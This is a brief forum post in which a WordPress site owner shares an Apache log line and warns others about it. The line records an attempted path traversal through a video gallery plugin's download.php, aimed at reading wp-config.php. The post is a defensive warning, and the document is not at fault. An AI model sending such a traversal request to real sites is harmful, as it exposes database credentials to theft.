Hacked?

I’ve not installed this plugin, but some people are trying to screw my site with the following command.
—
[Thu Jul 02 15:15:21 2015] [error] [client d.e.f.g.] File does not exist: /var/www/vhosts/mysite.it/httpdocs/wp-content, referer: http://mysite.it/wp-content/plugins/contus-video-gallery/hdflvplayer/download.php?f=../../../../wp-config.php
—

He/she is clearly trying to grab my wp-config.php with a trojan.

MIND EVERYONE

https://ww.wp.xz.cn/plugins/contus-video-gallery/